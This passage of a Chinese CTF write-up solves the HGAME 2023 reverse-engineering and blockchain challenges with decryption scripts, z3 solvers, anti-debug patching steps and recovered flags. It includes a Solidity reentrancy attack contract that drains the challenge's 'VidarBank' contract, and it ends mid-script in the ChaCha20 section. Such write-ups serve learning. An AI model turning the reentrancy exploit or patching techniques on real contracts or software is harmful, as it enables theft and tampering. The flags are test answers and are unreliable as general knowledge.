把今年 hgame 四周的逆向题 ak 啦,还拿了个逆向单方向奖呢~(●’◡’●), 顺手做了两道区块链的题:)

题目附件: 点击下载

# week1

# a_cup_of_tea

tea 算法

from ctypes import *
def decrypt(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x543210DD
    k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
    total = c_uint32(delta * -32)
    for i in range(32):
        v1.value -= ((v0.value << 4) + k2) ^ (v0.value + total.value) ^ ((v0.value >> 5) + k3)
        v0.value -= ((v1.value << 4) + k0) ^ (v1.value + total.value) ^ ((v1.value >> 5) + k1)
        total.value += delta
    return v0.value, v1.value
# test
if __name__ == "__main__":
    # 待加密的明文,两个 32 位整型,即 64bit 的明文数据
    value = [0, 0]
    buf2 = [0x2E63829D, 0xC14E400F, 0x9B39BFB9, 1512016660, 0x61886DDE, 0x6565C6CF, 0x9F064F64, 0x236A43F6]
    # buf2=[0x9D82632E,  0x0F404EC1,  0x9B39BFB9,  1512016660,  0x61886DDE,  0x6565C6CF,  0x9F064F64,  0x236A43F6]
    # 四个 key,每个是 32bit,即密钥长度为 128bit
    key = [0x12345678, 0x23456789, 0x34567890, 0x45678901]
    for i in range(0, len(buf2), 2):
        value[0], value[1] = buf2[i], buf2[i + 1]
        res = decrypt(value, key)
        bytearray.fromhex(hex(res[0])[2::]).decode()
        print(bytearray.fromhex(hex(res[0])[2::]).decode()[::-1], bytearray.fromhex(hex(res[1])[2::]).decode()[::-1],
              sep='', end='')
    print('k}', end='')
# hgame{Tea_15_4_v3ry_h3a1thy_drlnk}

# easyasm

a=[0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e]
for i in a:
    print(chr(i^0x33),end='')# hgame{welc0me_t0_re_wor1d!}

# easyenc

a = [0x04, 0xFF, 0xFD, 0x09, 0x01, 0xF3, 0xB0, 0x00, 0x00, 0x05, 0xF0, 0xAD, 0x07, 0x06, 0x17, 0x05, 0xEB, 0x17, 0xFD,
     0x17, 0xEA, 0x01, 0xEE, 0x01, 0xEA, 0xB1, 0x05, 0xFA, 0x08, 0x01, 0x17, 0xAC, 0xEC, 0x01, 0xEA, 0xFD, 0xF0, 0x05,
     0x07, 0x06, 0xF9]
for i in a:
    if i > 0xA0:
        i=-(0xff-i+1)
    print(chr((i + 86) ^ 0x32), end='')
# hgame{4ddit1on_is_a_rever5ible_0peration}

# encode

v4=[0x00000008, 0x00000006, 0x00000007, 0x00000006, 0x00000001, 0x00000006, 0x0000000D, 0x00000006, 0x00000005, 0x00000006, 0x0000000B, 0x00000007, 0x00000005, 0x00000006, 0x0000000E, 0x00000006, 0x00000003, 0x00000006, 0x0000000F, 0x00000006, 0x00000004, 0x00000006, 0x00000005, 0x00000006, 0x0000000F, 0x00000005, 0x00000009, 0x00000006, 0x00000003, 0x00000007, 0x0000000F, 0x00000005, 0x00000005, 0x00000006, 0x00000001, 0x00000006, 0x00000003, 0x00000007, 0x00000009, 0x00000007, 0x0000000F, 0x00000005, 0x00000006, 0x00000006, 0x0000000F, 0x00000006, 0x00000002, 0x00000007, 0x0000000F, 0x00000005, 0x00000001, 0x00000006, 0x0000000F, 0x00000005, 0x00000002, 0x00000007, 0x00000005, 0x00000006, 0x00000006, 0x00000007, 0x00000005, 0x00000006, 0x00000002, 0x00000007, 0x00000003, 0x00000007, 0x00000005, 0x00000006, 0x0000000F, 0x00000005, 0x00000005, 0x00000006, 0x0000000E, 0x00000006, 0x00000007, 0x00000006, 0x00000009, 0x00000006, 0x0000000E, 0x00000006, 0x00000005, 0x00000006, 0x00000005, 0x00000006, 0x00000002, 0x00000007, 0x0000000D, 0x00000007, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]
for i in range(50):
    print(chr((v4[2 * i + 1] << 4) | v4[2 * i]),end='')
# hgame{encode_is_easy_for_a_reverse_engineer}

# test_your_IDA

image-20230503025405956

ida 打开获得 flag

hgame

# Checkin(BlockChain)

看看源码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Checkin {
    string greeting;
    constructor(string memory _greeting)  {
        greeting = _greeting;
    }
    function greet() public view returns (string memory) {
        return greeting;
    }
    function setGreeting(string memory _greeting) public {
        greeting = _greeting;
    }
    function isSolved() public view returns (bool) {
        string memory expected = "HelloHGAME!";
        return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
    }
}
[+] deployer account: 0x5B9E13374B97E1B1633dfAa4c36A80CA1655CA4a
[+] token: v4.local.R3OAQ2ikgeB8XRLjt8bggKUnkbwMGMlv_mSRXwxmGUDuClnl2FqmeIZn1cZF9jGB8lW9YnyI2GHlI2Tc_Z4s-auW0mQri4SpuBN3HmrPyoYJNoj5eHgCE93i5sw1jxQhkAk-vc82sQCz82FTYgOElp93TYykIQR9EIItY49C66__Yg
[+] contract address: 0x34D0aCD466A0f208e57722D4aF80479A047B3271
[+] transaction hash: 0xd2a3e46e1dd201c49325a2c819568229dc31801f6550eb8db7a3af6c77796e93

简单的区块链题目,交互一下就有 flag 了

import json
import time
from web3 import Web3, HTTPProvider
contract_address = '0x34D0aCD466A0f208e57722D4aF80479A047B3271'
private_key = [你的钱包私钥]
wallet = Web3.toChecksumAddress([你的钱包地址])
w3 = Web3(HTTPProvider('http://week-1.hgame.lwsec.cn:32663'))
ABI = json.loads(
    '[{"inputs":[{"internalType":"string","name":"_greeting","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"greet","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_greeting","type":"string"}],"name":"setGreeting","outputs":[],"stateMutability":"nonpayable","type":"function"}]')
# w3.eth.enable_unaudited_features()
contract = w3.eth.contract(address=contract_address, abi=ABI)
nonce = w3.eth.getTransactionCount(wallet)
gasPrice = w3.toWei('10', 'gwei')
gasLimit = 4000000
tx = {
    'nonce': nonce,
    'gas': gasLimit,
    'gasPrice': gasPrice,
    'from': wallet
}
transaction = contract.functions.setGreeting("HelloHGAME!").buildTransaction(tx)
signed_tx = w3.eth.account.sign_transaction(transaction, private_key)
tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
transaction_hash = w3.toHex(tx_hash)
tx_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)

# week2

# before_main

import string
res = string.printable
a='qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK'
a=[ord(i) for i in a]
v6 = 'AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG='
for i in range(0, len(v6), 4):
    for xx in res:
        for yy in res:
            for zz in res:
                x, y, z = ord(xx), ord(yy), ord(zz)
                if ord(v6[i]) == a[x >> 2] and ord(v6[i + 1]) == a[(16 * x) & 0x30 | (y >> 4)] and ord(v6[i + 2]) == a[(4 * y) & 0x3C | (z >> 6)] and ord(v6[i + 3]) == a[z & 0x3F]:
                    print(xx, yy, zz, sep='',end='')
print('n}') # 为了连接成完整的 flag,所以猜一个末尾是 n}
# hgame{s0meth1ng_run_befOre_m@in}

# math

解个方程

from z3 import *
v10 = [0x0000007E, 0x000000E1, 0x0000003E, 0x00000028, 0x000000D8, 0x000000FD, 0x00000014, 0x0000007C, 0x000000E8,
       0x0000007A, 0x0000003E, 0x00000017, 0x00000064, 0x000000A1, 0x00000024, 0x00000076, 0x00000015, 0x000000B8,
       0x0000001A, 0x0000008E, 0x0000003B, 0x0000001F, 0x000000BA, 0x00000052, 0x0000004F]
v12 = [0x0000F9FE, 0x00008157, 0x000108B2, 0x0000D605, 0x0000F21B, 0x00010FF3, 0x00009146, 0x00011212, 0x0000CF76,
       0x00010C46, 0x0000F76B, 0x000077DF, 0x000103BE, 0x0000C6F8, 0x0000ED8A, 0x0000BE90, 0x000075EC, 0x0000EAC8,
       0x0000AE37, 0x0000CC29, 0x0000A828, 0x00005C6C, 0x0000AB4A, 0x0000836E, 0x0000ACEE]
flag = [Int('flag%d' % i) for i in range(40)]
solver = Solver()
for i in range(5):
    for j in range(5):
        solver.add(v12[5 * i + j]==flag[5 * i + 0]*v10[5 * 0 + j] + flag[5 * i + 1]*v10[5 * 1 + j] + flag[5 * i + 2]*v10[5 * 2 + j] + flag[5 * i + 3]*v10[5 * 3 + j] + flag[5 * i + 4]*v10[5 * 4 + j])
if solver.check() == sat:
    m = solver.model()
    # print(m)
    for i in range(len(m)):
        print(chr(int(str(m[flag[i]]))),end='')
else:
    print('unsat')
# hgame{y0ur_m@th_1s_gO0d}

# stream

PS D:\hgame\week2 2023\stream\stream> python D:\TOOLS\python逆向\pyinstxtractor-master\pyinstxtractor-master\pyinstxtractor.py "D:\hgame\week2 2023\stream\stream\stream.exe"
[+] Processing D:\hgame\week2 2023\stream\stream\stream.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 5507205 bytes
[+] Found 61 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: stream.pyc
[+] Found 97 files in PYZ archive
[+] Successfully extracted pyinstaller archive: D:\hgame\week2 2023\stream\stream\stream.exe
You can now use a python decompiler on the pyc files within the extracted directory

然后用在线工具steam.pyc 转成 py

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10
import base64
def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data
def encrypt(text, key):
    result = ''
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
    result = base64.b64encode(result.encode()).decode()
    return result
text = input('Flag: ')
key = 'As_we_do_as_you_know'
enc = encrypt(text, key)
if enc == 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl':
    print('yes!')
    return None
None('try again...')

exp:

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10
import base64
def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data
key = 'As_we_do_as_you_know'
enc = 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl'
_enc = base64.b64decode(enc).decode()
result = ''
for c, k in zip(_enc, gen(key)):
    result += chr(ord(c) ^ k)
print(result)
# hgame{python_reverse_is_easy_with_internet}

# VidarCamera

主要算法:

private final int[] m41encrypthkIa6DI(int[] iArr) {
        int i;
        int[] iArr2 = UIntArray.m208constructorimpl(4);
        UIntArray.m219setVXSXFK8(iArr2, 0, 2233);
        UIntArray.m219setVXSXFK8(iArr2, 1, 4455);
        UIntArray.m219setVXSXFK8(iArr2, 2, 6677);
        UIntArray.m219setVXSXFK8(iArr2, 3, 8899);
        int i2 = 0;
        while (i2 < 9) {
            int i3 = 0;
            int i4 = 0;
            do {
                i3++;
                i = i2 + 1;
                UIntArray.m219setVXSXFK8(iArr, i2, UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i2) + UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr2, UInt.m155constructorimpl(i4 & 3)) + i4) ^ UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i) << 4) ^ UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i) >>> 5)) + UIntArray.m214getpVg5ArA(iArr, i))) ^ i4)));
                UIntArray.m219setVXSXFK8(iArr, i, UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i) + UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i2) << 4) ^ UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i2) >>> 5)) + UIntArray.m214getpVg5ArA(iArr, i2)) ^ UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr2, UInt.m155constructorimpl(UInt.m155constructorimpl(i4 >>> 11) & 3)) + i4))));
                i4 = UInt.m155constructorimpl(i4 + 878077251);
            } while (i3 <= 32);
            i2 = i;
        }
        return iArr;
    }
   
public static final void m42onCreate$lambda0(EditText inputsomething, CameraActivity this$0, AlertDialog alertDialog, View view) {
        Intrinsics.checkNotNullParameter(inputsomething, "$inputsomething");
        Intrinsics.checkNotNullParameter(this$0, "this$0");
        String obj = inputsomething.getText().toString();
        if (obj.length() != 40) {
            Toast.makeText(this$0, "序列号不正确", 0).show();
            return;
        }
        int[] iArr = UIntArray.m208constructorimpl(10);
        for (int i = 0; i < 40; i += 4) {
            UIntArray.m219setVXSXFK8(iArr, i / 4, UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(obj.charAt(i)) + UInt.m155constructorimpl(obj.charAt(i + 1) << '\b')) + UInt.m155constructorimpl(obj.charAt(i + 2) << 16)) + UInt.m155constructorimpl(obj.charAt(i + 3) << 24)));
        }
        int[] iArr2 = this$0.m41encrypthkIa6DI(iArr);
        UInt[] uIntArr = {UInt.m149boximpl(637666042), UInt.m149boximpl(457511012), UInt.m149boximpl(-2038734351), UInt.m149boximpl(578827205), UInt.m149boximpl(-245529892), UInt.m149boximpl(-1652281167), UInt.m149boximpl(435335655), UInt.m149boximpl(733644188), UInt.m149boximpl(705177885), UInt.m149boximpl(-596608744)};
        int i2 = 0;
        while (true) {
            int i3 = i2 + 1;
            if (uIntArr[i2].m206unboximpl() != UIntArray.m214getpVg5ArA(iArr2, i2)) {
                Toast.makeText(this$0, "序列号不正确", 0).show();
                return;
            } else if (i3 > 9) {
                alertDialog.dismiss();
                return;
            } else {
                i2 = i3;
            }
        }
    }

可以看出用的是 xtea 算法,但是有些不一样的地方

exp:

from ctypes import *
def encrypt(v, key):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x34566543
    total = c_uint32(0)
    for i in range(32):
        v0.value += (((v1.value << 4) ^ (v1.value >> 5)) + v1.value) ^ (total.value + key[total.value & 3])
        total.value += delta
        v1.value += (((v0.value << 4) ^ (v0.value >> 5)) + v0.value) ^ (total.value + key[(total.value >> 11) & 3])
    return v0.value, v1.value
def decrypt(v, key):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x34566543
    total = c_uint32(delta * 33)
    for i in range(33):
        total.value -= delta
        v1.value -= (((v0.value << 4) ^ (v0.value >> 5)) + v0.value) ^ (total.value + key[(total.value >> 11) & 3])
        # total.value -= delta
        v0.value -= (((v1.value << 4) ^ (v1.value >> 5)) + v1.value) ^ (total.value + key[total.value & 3])^total.value
    return v0.value, v1.value
# 637666042,457511012,-2038734351,578827205,-245529892,-1652281167,435335655,733644188,705177885,-596608744
# test
if __name__ == "__main__":
    # 待加密的明文,两个 32 位整型,即 64bit 的明文数据
    value = [637666042, 457511012, -2038734351, 578827205, -245529892, -1652281167, 435335655, 733644188, 705177885, -596608744]
    # 四个 key,每个是 32bit,即密钥长度为 128bit
    key = [2233, 4455, 6677, 8899]
    for i in range(len(value) - 2, -1, -1):
        _value = [value[i], value[i+1]]
        value[i], value[i+1] = decrypt(_value, key)
    for i in value:
        print(bytearray.fromhex(hex(i)[2::]).decode()[::-1],sep='', end='')
# hgame{d8c1d7d34573434ea8dfe5db40fbb25c0}

# VidarBank(blockchain)

一看源码就是重入攻击

[+] deployer account: 0x4eE700C7CE61515BA947bbAd8638168417AF67fF
[+]token:v4.local.SUcqXp9Sld4E095kaPQqOUM1_Dmkq9T4YLM1xP4jmfRAdw47AVNCVcDNYC9VgTywR_TQs_bY5aIegOza3iMIKlQ6pcVMJZKJiJxHdJENX9MU3sFEJ5qM_H3my8uizgHs3kMmV0Svp3eUh9EUw80qvR5XewCouS8piP7-UdfSz4lLfA
[+] contract address: 0xCeea6d7190d67323FD29130d63808c187311BDF8
[+] transaction hash: 0xb2feb0f1346a9a66156eace411ed603c990109f0a69b28459a444e6f5b6d1395

攻击合约写一下

//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;
import "./VidarBank.sol";
contract attack{
    VidarBank vidarBank;
    constructor(address _addr) public{
        vidarBank = VidarBank(_addr);
    }
    function get() public returns(uint256){
        return vidarBank.balances(address(this));
    }
    function get_address() public returns(address){
        return address(this);
    }
    function send() public{
        vidarBank.isSolved();
        //hgame{525d49d486d5357aaec38e7ab621c92cf7486d5e}
    }
    function create() public payable{
        vidarBank.newAccount{value: 0.001 ether}();
    }
    function Attack() external payable {
        vidarBank.donateOnce();
    }
    fallback() external payable{
        if(vidarBank.balances(address(this))<30){
            vidarBank.donateOnce();
        }
        
    }
}

# week3

# kunmusic

ILSpy 打开,看看 main 函数

image-20230503025722115

得知对 data 文件字节进行异或 104 操作

用 python 把 data 文件异或 104,然后用 ILspy 打开 data_new 文件

with open('data', 'rb') as f:
    s = f.read()
    s = bytearray(s)
    for i in range(len(s)):
        s[i] ^= 104
    with open('data_new', 'wb') as f:
        f.write(s)

image-20230503025717892

为了加快运行速度,直接由 hgame{ 开头得到 num [0]~num [5]

from z3 import *
num = [BitVec('num%d' % i, 50) for i in range(13)]
solver = Solver()
solver.add(num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] - 52714 + num[
    6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (
                   num[12] ^ 0x525F) == 12702282)
solver.add(
    num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[
        6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) + (num[10] ^ 0xE052) + num[11] + 13299 + num[
        12] - 50966 == 9946829)
solver.add(num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506) + (
        num[6] ^ 0x533E) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590 +
           num[12] + 58225 == 2372055)
solver.add(
    num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[
        6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) + num[
        12] + 25329 == 6732474)
solver.add(
    num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390 + num[
        6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780 + num[
        12] - 62345 == 14020739)
solver.add(num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[
    6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (
                   num[12] ^ 0x3099) == 14434062)
solver.add(num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (
        num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) + (num[9] ^ 0x5A85) + num[10] - 40224 + num[
               11] + 31751 + num[12] * 8421 == 7433598)
solver.add(
    num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^ 0x89C8) + num[
        6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] + 48342 + num[
        12] * 56511 == 7989404)
solver.add((num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] - 48576 + (
        num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 +
           num[12] + 14780 == 3504803)
solver.add(
    num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) + (num[4] ^ 0x30DF) + num[5] * 59807 + num[
        6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (
            num[12] ^ 0x4175) == 11003580)
solver.add(
    num[0] * 57492 + (num[1] ^ 0x346D) + num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] + 9884 + num[
        6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] * 49694 + (
            num[12] ^ 0x2501) == 25546210)
solver.add(num[0] - 23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (
        num[6] ^ 0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[
               11] - 31863 + num[12] + 62510 == 11333836)
solver.add(
    num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 0xD0C0) + num[5] * 4275 + num[
        6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10] + 62231 + num[11] + 19456 + num[
        12] - 13195 == 13863722)
solver.add(num[0] == 236, num[1] == 72, num[2] == 213, num[3] == 106, num[4] == 189, num[5] == 86)
if solver.check() == sat:
    m = solver.model()
    for i in range(len(m)):
        print('num[%d]' % i, '=', int(str(m[num[i]])))
else:
    print('unsat')
'''
num[0] = 236
num[1] = 72
num[2] = 213
num[3] = 106
num[4] = 189
num[5] = 86
num[6] = 62
num[7] = 53
num[8] = 120
num[9] = 199
num[10] = 15
num[11] = 93
num[12] = 133
'''

最后得到 flag

num = [0 for i in range(13)]
num[0] = 236
num[1] = 72
num[2] = 213
num[3] = 106
num[4] = 189
num[5] = 86
num[6] = 62
num[7] = 53
num[8] = 120
num[9] = 199
num[10] = 15
num[11] = 93
num[12] = 133
array = [132, 47, 180, 7, 216, 45, 68, 6, 39, 246,
         124, 2, 243, 137, 58, 172, 53, 200, 99, 91,
         83, 13, 171, 80, 108, 235, 179, 58, 176, 28,
         216, 36, 11, 80, 39, 162, 97, 58, 236, 130,
         123, 176, 24, 212, 56, 89, 72]
for i in range(len(array)):
    print(chr(array[i] ^ num[i % len(num)]),end='')# hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}

# patchme

先过一下反调试,jz 改成 jnz 让 ida 在调试状态不退出

image-20230503025712252

此处使用 mprotect, 将一段内存区域标记为可读可写可执行,然后经过异或解密,所以可以直接去看这段解密后的代码

image-20230503025709293

void __noreturn sub_56092A0864CA()
{
  __WAIT_STATUS stat_loc; // [rsp+Ch] [rbp-2C4h] BYREF
  int i; // [rsp+14h] [rbp-2BCh]
  __int64 v2; // [rsp+18h] [rbp-2B8h]
  int pipedes[2]; // [rsp+20h] [rbp-2B0h] BYREF
  int v4[2]; // [rsp+28h] [rbp-2A8h] BYREF
  char *argv[4]; // [rsp+30h] [rbp-2A0h] BYREF
  char v6[48]; // [rsp+50h] [rbp-280h] BYREF
  __int64 v7; // [rsp+80h] [rbp-250h]
  __int64 v8[5]; // [rsp+E0h] [rbp-1F0h]
  int v9; // [rsp+108h] [rbp-1C8h]
  __int16 v10; // [rsp+10Ch] [rbp-1C4h]
  char v11; // [rsp+10Eh] [rbp-1C2h]
  __int64 v12[5]; // [rsp+110h] [rbp-1C0h]
  int v13; // [rsp+138h] [rbp-198h]
  __int16 v14; // [rsp+13Ch] [rbp-194h]
  char v15; // [rsp+13Eh] [rbp-192h]
  char buf[80]; // [rsp+140h] [rbp-190h] BYREF
  char s1[8]; // [rsp+190h] [rbp-140h] BYREF
  __int64 v18; // [rsp+198h] [rbp-138h]
  char v19[280]; // [rsp+1A0h] [rbp-130h] BYREF
  int v20; // [rsp+2B8h] [rbp-18h]
  unsigned __int64 v21; // [rsp+2C8h] [rbp-8h]
  v21 = __readfsqword(0x28u);
  if ( dword_56092A089028 <= 1 )
  {
    pipe(pipedes);
    pipe(v4);
    if ( fork() )
    {
      close(pipedes[0]);
      close(v4[1]);
      HIDWORD(stat_loc.__iptr) = 0;
      while ( SHIDWORD(stat_loc.__iptr) <= 35 )
      {
        buf[2 * HIDWORD(stat_loc.__iptr)] = 37;
        buf[2 * HIDWORD(stat_loc.__iptr)++ + 1] = 110;
      }
      buf[72] = 10;
      buf[73] = 0;
      write(pipedes[1], buf, 0x4AuLL);
      *(_QWORD *)s1 = 0LL;
      v18 = 0LL;
      memset(v19, 0, sizeof(v19));
      v20 = 0;
      read(v4[0], s1, 0x12CuLL);
      wait((__WAIT_STATUS)&stat_loc);
      if ( !LODWORD(stat_loc.__uptr) && !strncmp(s1, buf, 0x14uLL) )
      {
        v8[0] = 0x5416D999808A28FALL;
        v8[1] = 0x588505094953B563LL;
        v8[2] = 0xCE8CF3A0DC669097LL;
        v8[3] = 0x4C5CF3E854F44CBDLL;
        v8[4] = 0xD144E49916678331LL;
        v9 = -631149652;
        v10 = -17456;
        v11 = 85;
        v12[0] = 0x3B4FA2FCEDEB4F92LL;
        v12[1] = 0x7E45A6C3B67EA16LL;
        v12[2] = 0xAFE1ACC8BF12D0E7LL;
        v12[3] = 0x132EC3B7269138CELL;
        v12[4] = 0x8E2197EB7311E643LL;
        v13 = -1370223935;
        v14 = -13899;
        v15 = 40;
        putchar(10);
        for ( i = 0; i <= 46; ++i )
          putchar((char)(*((_BYTE *)v8 + i) ^ *((_BYTE *)v12 + i)));
      }
      else
      {
        puts("\nthere are still bugs...");
      }
    }
    else
    {
      fflush(stdin);
      close(pipedes[1]);
      close(v4[0]);
      dup2(pipedes[0], 0);
      dup2(v4[1], 1);
      dup2(v4[1], 2);
      argv[0] = *(char **)qword_56092A089020;
      argv[1] = (char *)&unk_56092A087025;
      argv[2] = 0LL;
      sub_56092A086AA0(*(_QWORD *)qword_56092A089020, v6);
      v2 = v7;
      if ( v7 == 14472 )
        execve(*(const char **)qword_56092A089020, argv, 0LL);
      else
        puts("\nyou cannot modify the file size");
    }
  }
}

逻辑很清楚,直接写 exp 就行了

v8 = [0 for i in range(8)]
v8[0] = 0x5416D999808A28FA
v8[1] = 0x588505094953B563
v8[2] = 0xCE8CF3A0DC669097
v8[3] = 0x4C5CF3E854F44CBD
v8[4] = 0xD144E49916678331
v8[5] = -631149652
v8[6] = -17456
v8[7] = 85
v12 = [0 for i in range(8)]
v12[0] = 0x3B4FA2FCEDEB4F92
v12[1] = 0x7E45A6C3B67EA16
v12[2] = 0xAFE1ACC8BF12D0E7
v12[3] = 0x132EC3B7269138CE
v12[4] = 0x8E2197EB7311E643
v12[5] = -1370223935
v12[6] = -13899
v12[7] = 40
for i in range(len(v8)):
    a = v8[i] ^ v12[i]
    print(bytearray.fromhex(hex(a)[2::]).decode()[::-1], end='')
    # hgame{You_4re_a_p@tch_master_0r_reverse_ma5ter}

# cpp

通过这些数据可以确定是 chacha20 算法

image-20230503025704176

image-20230503025701451

通过动态调试得知 chacha20 的 keyhgame{th , counter0x12345678 , nonce['h','g','a']

image-20230503025658554

但是把数据放到 chacha20 算法里面却不能输出 flag

所以我直接找到对矩阵进行操作的函数,

image-20230503025655832

并且得到了最终的矩阵

image-20230503025652537

exp 如下

import numpy as np
import struct
import hashlib
import warnings
from ctypes import *
# ChaCha20 Matrix: 16 words, 32-bits each (4 bytes each) for a total of 64-bytes
# cccccccc  cccccccc  cccccccc  cccccccc    #constants
# kkkkkkkk  kkkkkkkk  kkkkkkkk  kkkkkkkk    #key
# kkkkkkkk  kkkkkkkk  kkkkkkkk  kkkkkkkk    #key
# bbbbbbbb  nnnnnnnn  nnnnnnnn  nnnnnnnn    #block_number and nonce
# Disable overflow warnings for numpy uint as we need the overflow in ChaCha20's addition
warnings.filterwarnings("ignore")
def quarterround(a, b, c, d):
    def circular_left(num, i):
        return ((num << i) & 0xFFFFFFFF) | (num >> (32 - i))
    # a, b, c, d are numpy uint32. The addition may overflow which is ok for ChaCha20
    a += b
    d ^= a
    d = circular_left(d, 16)
    c += d
    b ^= c
    b = circular_left(b, 12)
    a += b
    d ^= a
    d = circular_left(d, 8)
    c += d
    b ^= c
    b = circular_left(b, 7)
    return (a, b, c, d)
def rounds(block):
    steps = [
        [0, 4, 8, 12],
        [1, 5, 9, 13],
        [2, 6, 10, 14],
